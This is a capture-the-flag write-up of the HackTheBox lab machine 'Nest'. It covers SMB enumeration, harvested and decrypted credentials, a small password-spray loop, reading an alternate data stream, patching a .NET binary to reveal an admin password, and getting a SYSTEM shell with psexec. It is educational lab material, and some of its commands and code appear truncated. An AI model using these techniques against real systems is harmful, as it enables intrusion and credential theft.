HackTheBox - Nest

HackTheBox - Nest

Nest is one of my favorite machines after Forest, I learned a lot about enumeration here, especially for SMB.

The machine starts with anonymous access on SMB, which allows me to obtain credentials of a temporary user. With user-level access, it is possible to read another file shares in order to obtain an encrypted password and a VB project that can be used to decrypt the password. The password allows me to enable debug mode on a custom app and read an encrypted Administrator password. The admin password can be decrypted by reversing the app.

Skills Learned

  • SMB enumeration
  • Alternate Data Stream
  • Reversing .NET




nmap shows two ports open: SMB on port 445, and an unknown service on port 4386, but the fingerprints show it as ‘Reporting Service V1.2’.

→ root@iamf «nest» «»
$ nmap -p1-5000 -sC -sV -oA nmap/nest
Nmap scan report for htb.nest (
445/tcp open  microsoft-ds?
4386/tcp open  unknown                                                                                       
| fingerprint-strings:                                                                                       
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Reporting Service V1.2                                                                                 
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help:          
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---                  
|     LIST   
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>          
|     DEBUG <Password>
|_    HELP <Command> 

Host script results:
|_clock-skew: -27s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-04-28T15:16:46
|_  start_date: 2020-04-28T04:20:37


TCP 445 - SMB

Anonymous access is allowed here.

→ root@iamf «nest» «»
$ smbclient -N -L //

Data share

Enumeration on Data share with recurse mode shows two text files.


One of them is empty while the other one contains credentials for TempUser:Welcome2019.

→ root@iamf «smb» «»
$ cat loot/Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019

Thank you

With TempUsers, I can access the Secure$ share.


Unfortunately, once I got to Secure$ share, I couldn’t list any single directory.

→ root@iamf «smb» «»
$  smbclient -U 'TempUser%welcome2019' //$ 
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \Finance\*

On the other hand, I did a user enumeration using rpcclient.


With a little knowledge of scripting, I can filter the user.

→ root@iamf «nest» «»
$  rpcclient -U 'TempUser%welcome2019' -c 'enumdomusers;quit' | tr -d '[]' | cut -d ':' -f2 | cut -d ' ' -f1

I did a password spray using a simple bash script with a pattern of username:username, but no luck

for u in `cat rpcusers.txt`; do 
 echo -n “[*] user : $u&& 
 rpcclient -U “$u%$u” -c “getusername;quit”

I also check on users’ information to find a plain password in the description, but only end up knowing that the user flag is on c.smith.


I went back to SMB, I decided to download all the content in the Data share.

→ root@iamf «loot» «»
$ smbget -R smb:// -U TempUser  # or use mget * inside smbclient

Here is the folder structure on Data

→ root@iamf «Data» «»
$ tree
├── IT
│   ├── Archive
│   ├── Configs
│   │   ├── Adobe
│   │   │   ├── editing.xml
│   │   │   ├── Options.txt
│   │   │   ├── projects.xml
│   │   │   └── settings.xml
│   │   ├── Atlas
│   │   │   └── Temp.XML
│   │   ├── DLink
│   │   ├── Microsoft
│   │   │   └── Options.xml
│   │   ├── NotepadPlusPlus
│   │   │   ├── config.xml
│   │   │   └── shortcuts.xml
│   │   ├── RU Scanner
│   │   │   └── RU_config.xml
│   │   └── Server Manager
│   ├── Installs
│   ├── Reports
│   └── Tools
├── Production
├── Reports
└── Shared
    ├── Maintenance
    │   └── Maintenance Alerts.txt
    └── Templates
        ├── HR
        │   └── Welcome Email.txt
        └── Marketing

Notepad++ config on Data/IT/Configs/NotepadPlusPlus/config.xml contains interesting path.

    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />

In /Data/IT/Configs/RU Scanner/RU_config.xml, I found a pair credentials for user c.smith.

→ root@iamf «RU Scanner» «»
$ cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

At first glance, the password looks like a base64 encoded, but it is encrypted:

→ root@iamf «RU Scanner» «»
$ echo 'fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=' | base64 -d

Secure$ share

User carl doesn’t appear on my enumeration with rpcclient, so after discovering this path \\HTB-NEST\Secure$\IT\Carl\, I went back to Secure$ share and performed a recursive download there.

→ root@iamf «Data» «»
$ smbget -R smb://$/IT/Carl/ -U TempUser

Here is the Secure$ structure.

→ root@iamf «Secure$» «»
$ tree
├── Docs
│   ├── ip.txt
│   └── mmc.txt
├── Reports
└── VB Projects
    ├── Production
    └── WIP
        └── RU
            ├── RUScanner
            │   ├── bin
            │   │   ├── Debug
            │   │   └── Release
            │   ├── ConfigFile.vb
            │   ├── Module1.vb
            │   ├── My Project
            │   │   ├── Application.Designer.vb
            │   │   ├── Application.myapp
            │   │   ├── AssemblyInfo.vb
            │   │   ├── Resources.Designer.vb
            │   │   ├── Resources.resx
            │   │   ├── Settings.Designer.vb
            │   │   └── Settings.settings
            │   ├── obj
            │   │   └── x86
            │   ├── RU Scanner.vbproj
            │   ├── RU Scanner.vbproj.user
            │   ├── SsoIntegration.vb
            │   └── Utils.vb
            └── RUScanner.sln

I just downloaded a whole VB Project!

Based on Module1.vb’s content, RU_config.xml is loaded to the application, and from this line .Password = Utils.DecryptString(Config.Password), I know this application is able to decrypt c.smith’s password.

 root@iamf «WIP» «»
$ cat RU/RUScanner/Module1.vb
Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}

    End Sub

End Module


Access as c.smith

Decrypting c.smith password

The encrypted password can be decrypted easily by taking out the utils class and the decrypt function from Utils.vb, then call it on the main function. I used https://dotnetfiddle.net/ for this.

Here is how it looks like.

Imports System
Imports System.Text
Imports System.Security.Cryptography

Public Module Module1
	Public Sub Main()
		Dim encryptedPassword
		encryptedPassword = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
		Console.WriteLine("Decrypted Password: " +Utils.DecryptString(encryptedPassword))
	End Sub
End Module

Public Class Utils
    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function
    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _


        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
        Return plainText
    End Function
End Class

Now I have c.smith’s password: xRxRxPANCAK3SxRxRx.


Users share

With c.smith credentials, I do more enumeration on SMB. First, I’ll look into the c.smith home directory.

→ root@iamf «smb» «»
$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' // 
Try "help" to get a list of possible commands.
smb: \C.Smith\> dir
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       32  Thu Aug  8 19:05:24 2019

I downloaded those files recursively to my machine.

→ root@iamf «c.smith» «»
$ tree
├── HQK Reporting
│   ├── AD Integration Module
│   │   └── HqkLdap.exe
│   ├── Debug Mode Password.txt
│   └── HQK_Config_Backup.xml
└── user.txt

user.txt is the user flag.

→ root@iamf «c.smith» «»
$ cat user.txt

HQK_Config_Backup.xml doesn’t contains any useful information

→ root@iamf «c.smith» «»
$ cat HQK\ Reporting/HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>

Debug Mode Password.txt is empty file. But when I thought it was empty, I asked a hint for this.

This file is embedded with Alternate Data Stream (ADS). By using the allinfo command on the SMB, I can see it contains another data stream, Password:$Data.


To get that stream, I can just append :Password:$Data at the end of the file name.

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password:$DATA
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Now I can use the cat command to see the file content.

→ root@iamf «c.smith» «»
$ cat Debug\ Mode\ Password.txt:Password:\$DATA

Privilege Escalation

Shell as SYSTEM

Examination on HQK Reporting Service v1.2

When visiting, the browser return a session timeout with > symbol, this can imply that this service is cli-based

With telnet, I can access this service.

→ root@iamf «c.smith» «»
$ telnet 4386

The service has debug mode and enabling it shows more commands.

>debug WBQ201953D8w

Took me a minute to understand the commands, so basically:

  • LIST is to list directory,
  • SHOWQUERY is to show file content,
  • RUNQUERY is to execute.
  • SETDIR is change directory.

Looking up into the LDAP directory, there’s ldap.conf that contains administrator credentials with another encrypted password.


I have a copy of HqkLdap.exe from the previous loot on c.smith’s directory, and I will copy that from Kali to my Windows to inspect it. I will also create a copy of the Ldap.conf file.

Reversing HqkLdap.exe

Running strings HqkLdap.exe against the app reveals that it was built with.NET.


There is a very useful tool for reversing and debugging .NET applications called dnSpy. It’s free on Github.

I will open HqkLdap.exe on dnSpy and go straight to the application main function.


To run this program properly, a config file, which is ldap.conf, must be supplied as an argument to the application, and it also needs the existence of HqkDbImport.exe (These two files must be placed in the same folder with HqkLdap.exe).


So if I run it and I don’t pass the check, it will complain like this:

PS C:\Users\fahmi\Desktop>.\HqkLdap.exe Ldap.conf
Please ensure the optional database import module is installed

Next, I look at the decrypt function, which is called on the main when the check is passed.


On the next block, I see ldapSearchSettings.Password is assigned to ldap.Password



To exploit this HqkLdap.exe, I will:

  • Remove the part of codes that used to check for the existence of HqkDbImport.exe
  • Add another line to print out the password from ldap.Password.

I’ll use the edit feature to edit the main class.


Also, I’ll get rid of the line that is used to check the existence of HqkDbImport.exe

public static void Main()
      if (MyProject.Application.CommandLineArgs.Count != 1) 
        Console.WriteLine("Invalid number of command line arguments");
      else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
        Console.WriteLine("Specified config file does not exist");
      else {
...[SNIP] ...

Then I’ll add a new line code on the main function at line 56 to print ldap.Password to the console.


I tried to compile it back but then there was an error about the unassigned local variable ’enumerator’. I deleted the following line and attempted to re-compile the binary, and it worked.


Now I can just run with the ldap.conf supplied as its argument, and it pops the password out.


The password is: XtH4nkS4Pl4y1nGX.


These credentials can be used with ps-exec.py

→ root@iamf «c.smith» «»
$ psexec.py HTB-NEST/Administrator:XtH4nkS4Pl4y1nGX@
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file nQyIIpWk.exe
[*] Opening SVCManager on
[*] Creating service gfCe on
[*] Starting service gfCe.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

nt authority\system